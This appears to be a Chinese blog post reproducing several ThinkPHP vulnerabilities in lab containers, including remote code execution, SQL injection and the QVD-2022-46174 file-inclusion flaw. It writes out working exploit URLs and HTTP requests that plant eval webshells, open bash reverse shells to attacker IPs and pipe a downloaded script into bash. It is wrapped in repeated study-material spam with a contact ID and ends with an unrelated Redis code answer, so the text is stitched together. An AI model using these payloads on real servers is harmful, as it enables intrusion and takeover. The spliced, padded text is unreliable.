ThinkPHP漏洞合集(专注渗透视角)_thinkphp v6(2),2024年最新面试题+笔记+项目实战

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

image.png

写入webshell
http://192.168.229.140:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

<?php phpinfo(); eval(@$_POST['cmd']); ?>

得到:
http://192.168.229.140:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST%5B'cmd'%5D)%3B%20%3F%3E

image.png
image.png
访问一下后门地址,看起来写进去了
image.png
连接后门
image.png

反弹shell

方式1:通过webshell:bash -c 'bash -i >& /dev/tcp/192.168.229.1/9999 0>&1'
image.png
方式2:通过命令执行

http://192.168.229.140:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.229.128/4444+0>%261'

image.png

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本:Thinkphp 5.0.0~ 5.0.23
环境搭建:

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
docker ps

image.png

漏洞发现

TideFinger✅

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

TideFinger.exe -u http://192.168.229.140:8080/ -pd

image.png

afrog✅

项目地址:https://github.com/zan8in/afrog
image.png

nuclei✅
nuclei -tags thinkphp -u http://192.168.229.140:8080/

image.png

xray✅

image.png

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan
image.png

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE
image.png

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
image.png
image.png

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
image.png
image.png

Thinkphp全网GUI圈子社区专版❌

image.png

漏洞验证 & 利用

发送如下数据包,尝试执行命令

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image.png

传后门

方法1:

\_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php phpinfo(); eval(@$\_REQUEST['cmd']); ?>' > AAA.php

这里不能用 get 和 post  只能用 request
<?php @eval($\_GET["cmd"]);?>  失败
<?php @eval($\_POST["cmd"]);?> 失败

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.229.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 141
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6d77e96725967c067fbaf184686b7473
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+'<%3fphp+phpinfo()%3b+eval(%40$_REQUEST['cmd'])%3b+%3f>'+>+AAA.php

image.png
image.png
方式2:其实就是做了base64编码处理

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgcGhwaW5mbygpOyBldmFsKEAkX1JFUVVFU1RbJ2NtZCddKTsgPz4= | base64 -d > shell.php

image.png
image.png

反弹shell

这里的方法上文介绍过:https://www.yuque.com/u1881995/pborfs/vl6133h1trkn31vy#cnIjT
攻击者编写反弹shell的命令:bash -i >& /dev/tcp/192.168.229.128/4444 0>&1
然后开启一个web服务,让受害者下载并执行,获取shell

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.229.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6d77e96725967c067fbaf184686b7473
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.229.128/shell.sh | bash

image.png
image.png
图省事也可以这样
image.png

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

**漏洞原理:**传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本:ThinkPHP < 5.1.23
环境搭建:

cd vulhub-master/thinkphp/in-sqlinjection
docker-compose up -d
docker ps

image.png
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。
image.png

漏洞发现

TideFinger❌

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可
发现了漏洞,但是没有发现目标漏洞,属于是发现了其他漏洞

./TideFinger_Linux -u http://192.168.229.140 -pd

image.png

afrog✅

项目地址:https://github.com/zan8in/afrog
image.png

nuclei✅
nuclei -tags thinkphp -u http://192.168.229.140

image.png

xray❌

发现了漏洞,但是没有发现目标漏洞,属于是发现了其他漏洞
image.png

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan
image.png

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE
image.png

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
image.png

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
image.png

Thinkphp全网GUI圈子社区专版❌

image.png

漏洞验证 & 利用

访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出:
image.png

QVD-2022-46174:ThinkPHP 代码执行漏洞

漏洞介绍

当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其他扩展模块如 pear 扩展时,攻击者可进一步利用文件包含实现远程代码执行。

| 影响版本 | 6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x | | |
| — | — | — | — |
| 不受影响版本 | ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42 | | |
| 修复方法 | 升级到安全版本:
ThinkPHP v6.0.14
ThinkPHP v5.1.42 | | |
| 缓解方案 | 关闭多语言功能 | | |

更多漏洞细节:
https://nox.qianxin.com/vulnerability/detail/QVD-2022-46174
https://mp.weixin.qq.com/s/9A6zmN4suEAeAKZoLmbMKQ

环境准备

参考复现文章:
对应“漏洞复现1”:https://mp.weixin.qq.com/s/zeyMQg-tbpQET6n07KjJeQ
对应“漏洞复现2”:https://blog.csdn.net/qq1140037586/article/details/128355617
使用CentOS虚拟机部署漏洞环境:

docker pull vulfocus/thinkphp:6.0.12
docker run -d -p 80:80 IMAGE ID 
docker ps

然后访问如下地址即可:http://192.168.229.140/public/index.php
image.png
通过漏洞通报可以知道,此次漏洞的前置条件是需要开启多语言功能

ThinkPHP 6
打开app/middleware.php
如果 \think\middleware\LoadLangPack::class 没有注释,代表着受此漏洞影响。

ThinkPHP 5
打开config/app.php,如果 'lang\_switch\_on' 为 true,代表着受此漏洞影响。

⚠️因此先进入容器进行查看是否满足前置条件

docker ps -a
docker exec -it CONTAINER ID  bash
find / -name middleware.php 2>/dev/null
cat /var/www/html/app/middleware.php

可以看到这里确实没有注释,也就是说是满足漏洞存在条件的
image.png
⚠️其次,因为这个漏洞的深入利用要借助到pearcmd的文件写入技巧,所以还需要查看pearcmd所在的路径
image.png
查看漏洞环境中pearcmd的路径是在:/usr/local/lib/php/pearcmd.php

漏洞复现1:写到tmp目录

到这里漏洞复现所需要的前置条件都已经满足了,那么测试下列poc,这里进行两种测试,一种是把文件写到网站同目录中,一种是写到tmp目录中。

这里先演示写到tmp目录,通过下面的利用代码可以看到,先是把文件写到tmp目录验证漏洞,之后把文件写到tmp目录下,利用漏洞。

# 写文件
http://xx.xx.xx.xx/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=phpinfo()?>+/tmp/hello.php

# 包含文件
http://xx.xx.xx.xx/public/index.php?lang=../../../../../../../../tmp/hello

# 直接写一句话木马
http://xx.xx.xx.xx/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($\_REQUEST['ant']);?>+/tmp/ant11.php

首先进行写入文件测试

image.png
得到响应之后查看tmp目录下是否成功写入
image.png
经过前后对比可以发现确实将<?=phpinfo()?>成功写入到了tmp目录下的hello.php文件中了。

测试文件包含的poc

image.png
注意,访问的是文件不带后缀,如果访问hello.php,反倒是看不到文件包含效果了
image.png
可以看到hello.php文件的代码确实被包含执行了。最后就是直接写入一句话木马进行getshell了。

写入一句话木马

image.png
看到后门已经写进去了
image.png

连接后门

访问一下后门地址:
image.png
连接后门
image.png
image.png

漏洞复现2:写到网站目录下

通过下面的利用代码可以看到,漏洞验证和漏洞利用的文件都写在了网站同级目录下
需要知道网站根目录才可以!

# 写文件
http://xx.xx.xx.xx/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/test.php

# 包含文件
http://xx.xx.xx.xx/test.php

# 直接写一句话木马
http://xx.xx.xx.xx/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval(@$\_REQUEST['cmd']);?>+/var/www/html/shell.php

首先进行写入文件测试

image.png
image.png

包含文件

在上文“漏洞复现1”中,包含文件时发现不可以填写文件后缀才可以包含到,然而这里是需要填写文件后缀才可以包含到
image.png

写入一句话木马

image.png
image.png

连接后门

访问后门如下图所示,依然是看不见利用代码
image.png
连接后门
image.png

其他漏洞发现姿势

根据这个漏洞的通报可以知道,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含的方法即可实现 RCE。那么接下来对几个位置传入参数进行测试

利用Header写入文件

上文写入的文件已经清理,保持靶场环境不受影响

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1
Host: 192.168.229.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
think-lang: ../../../../../../../../../../../usr/local/lib/php/pearcmd
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think\_lang=zh-cn



image.png
image.png
这个时候,再访问写入的文件的时候,依然需要注意文件后缀。

http://192.168.229.140/public/index.php?lang=../../../../../../../../tmp/shell

image.png
除了通过uri访问,也可以通过如下方式:

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/test.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: think\_lang=zh-cn
Upgrade-Insecure-Requests: 1
think-lang:../../../../../../../../tmp/test



image.png

利用Cookie写入文件

上文写入的文件已经清理,保持靶场环境不受影响

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/22.php HTTP/1.1
Host: 192.168.229.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Cookie: think\_lang=../../../../../../../../../../../usr/local/lib/php/pearcmd
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close



image.png
image.png
这个时候,再访问写入的文件的时候,依然需要注意文件后缀。
image.png

总结

这里主要是利用pearcmd.php这个pecl/pear中的文件。peclPHP中用于管理扩展而使用的命令行工具,而pearpecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

pearcmd文件包含注意事项

参见:https://mp.weixin.qq.com/s/zeyMQg-tbpQET6n07KjJeQ

Nuclei检测规则

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-t2wwM8Ax-1713179115310)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 23
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,下面是ThinkPHP6实现Redis连接池以及Redis队列的详细代码实现。 首先,在ThinkPHP6中使用Redis需要安装`topthink/think-redis`扩展,可以通过以下命令进行安装: ``` composer require topthink/think-redis ``` 接下来,我们需要在项目的配置文件中配置Redis连接信息,可以在`config/database.php`文件中添加以下代码: ```php 'redis' => [ 'type' => 'redis', 'hostname' => '127.0.0.1', 'password' => '', 'port' => 6379, 'select' => 0, 'timeout' => 0, 'prefix' => '', 'persistent' => true, 'pool' => [ 'min_connections' => 1, 'max_connections' => 10, 'wait_timeout' => 3, 'max_idle_time' => 60, ], ], ``` 配置项说明: - `type`:数据库类型,这里填写`redis`。 - `hostname`:Redis主机地址。 - `password`:Redis密码,如果没有设置密码可以不填写。 - `port`:Redis端口号,默认为6379。 - `select`:选择的数据库,默认为0。 - `timeout`:连接Redis的超时时间,默认为0表示不限制。 - `prefix`:设置的键名前缀,默认为空。 - `persistent`:是否使用持久化连接,默认为true。 - `pool`:配置连接池信息,包括最小连接数、最大连接数、等待超时时间和最大空闲时间。 接下来,我们可以通过以下代码获取Redis连接并进行操作: ```php use think\facade\Cache; // 获取Redis连接 $redis = Cache::store('redis')->handler(); // 设置键值对 $redis->set('name', 'Tom'); // 获取键值对 $name = $redis->get('name'); echo $name; ``` 以上代码中,我们使用了ThinkPHP6的缓存门面`think\facade\Cache`来获取Redis连接,通过`store`方法指定使用`redis`缓存驱动,再通过`handler`方法获取Redis连接。 接下来,我们来实现Redis队列功能,具体的代码如下: ```php use think\queue\Job; use think\facade\Cache; // 定义任务处理类 class TestJob { public function fire(Job $job, $data) { // 获取Redis连接 $redis = Cache::store('redis')->handler(); // 从队列中取出任务数据 $name = $data['name']; // 进行任务处理 // ... // 任务处理完成后删除任务 $job->delete(); } } // 将任务加入队列 $jobHandlerClassName = 'TestJob'; // 任务处理类名 $jobData = ['name' => 'Tom']; // 任务数据 $queueName = 'test_queue'; // 队列名称 $delay = 0; // 延迟时间,默认为0 \think\Queue::later($delay, $jobHandlerClassName, $jobData, $queueName); ``` 以上代码中,我们首先定义了一个任务处理类`TestJob`,它实现了`fire`方法来处理任务。在`fire`方法中,我们首先获取Redis连接,然后从队列中取出任务数据,进行任务处理,并最终删除任务。 接下来,我们将任务加入队列。在代码中,我们使用了`think\Queue`门面的`later`方法来将任务加入队列,指定了任务处理类名、任务数据、队列名称和延迟时间(默认为0表示不延迟)。 以上就是ThinkPHP6实现Redis连接池和Redis队列的详细代码实现。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值